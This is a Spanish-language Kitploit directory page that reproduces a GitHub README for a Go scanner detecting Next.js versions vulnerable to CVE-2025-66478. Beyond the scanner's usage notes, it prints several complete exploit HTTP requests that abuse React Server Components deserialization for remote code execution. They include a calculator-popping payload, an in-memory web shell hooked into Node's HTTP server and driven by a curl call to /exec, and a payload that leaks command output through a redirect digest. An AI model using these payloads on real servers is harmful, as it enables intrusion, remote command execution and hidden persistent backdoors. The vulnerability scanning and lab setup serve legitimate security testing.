Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Next.js-RSC-RCE-Scanner-CVE-2025-66478 — Un escáner de línea de comandos para la detección por lotes de versiones de aplicaciones Next.js y determinar si están afectadas por la vulnerabilidad CVE-2025-66478. | Kitploit
Herramientas/GitHubGitHub/malayke/next.js-rsc-rce-scanner-cve-2025-66478
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubmalayke/next.js-rsc-rce-scanner-cve-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Un escáner de línea de comandos para la detección por lotes de versiones de aplicaciones Next.js y determinar si están afectadas por la vulnerabilidad CVE-2025-66478.

Ver Repositorio
429829hace 9 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Escáner RSC RCE de Next.js y Colección de POC/Exploit (CVE-2025-66478)

Un escáner de línea de comandos para la detección por lotes de versiones de aplicaciones Next.js y determinar si están afectadas por la vulnerabilidad CVE-2025-66478.

Este escáner no explota la vulnerabilidad

Descripción de la Vulnerabilidad

https://nextjs.org/blog/CVE-2025-66478

Instalación

Requisitos previos

  • Go 1.19 o superior
  • Navegador Chrome/Chromium (go-rod lo descargará automáticamente)
git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

Compilación

cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Compilación para Windows
go build -o nextjs-rce-scanner.exe

Uso

# Escaneo de alta concurrencia (10 concurrentes)
./nextjs-rce-scanner -file urls.txt -c 10
# Modo GUI (para depuración):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Timeout personalizado
./nextjs-rce-scanner -file urls.txt -timeout 60
# Para servidores sin cabeza (Ubuntu/Debian) - agregar flags de Chrome
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Usar Chrome/Chromium instalado en el sistema
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Combinar ruta del binario de Chrome con flags (para servidores)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Filtrar y escanear URLs específicas
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Combinar con otras herramientas Unix
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3

Rutas comunes del binario de Chrome

Haga clic para expandir las rutas

Linux:

  • Ubuntu/Debian: /usr/bin/google-chrome o /usr/bin/chromium-browser
  • CentOS/RHEL: /usr/bin/google-chrome-stable o /usr/bin/chromium
  • Flatpak: /var/lib/flatpak/exports/bin/com.google.Chrome

macOS:

  • /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
  • /Applications/Chromium.app/Contents/MacOS/Chromium

Windows:

  • C:\Program Files\Google\Chrome\Application\chrome.exe
  • C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Cómo funciona

  1. Utiliza go-rod para lanzar el navegador Chrome
  2. Crea un Page Pool para gestionar la concurrencia
  3. Visita la URL objetivo y espera a que la página cargue
  4. Ejecuta JavaScript window.next.version para obtener información de la versión
  5. Analiza el número de versión y determina según el alcance de la vulnerabilidad
  6. Muestra los resultados del escaneo

Configuración del Entorno Vulnerable

Instalar la Versión Vulnerable Usando create-next-app

npx [email protected] my-cve-2025-66478-app
cd my-cve-2025-66478-app
# Iniciar la aplicación
npm run dev

Calculadora Pop

Haga clic para expandir el payload
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚨 Shell de Memoria en Tiempo de Ejecución 🚨

configurar memshell primero

Haga clic para expandir el payload
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

luego solicitar al endpoint memshell para ejecutar un comando

curl "http://localhost:3000/exec?cmd=ls+-l"

Payload que puede ver el resultado de la ejecución del comando en el cuerpo de la respuesta (Más útil)

Haga clic para expandir el payload
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

payload que puede ver el resultado de la ejecución del comando en el encabezado de la respuesta

Haga clic para expandir el payload
Descargar herramienta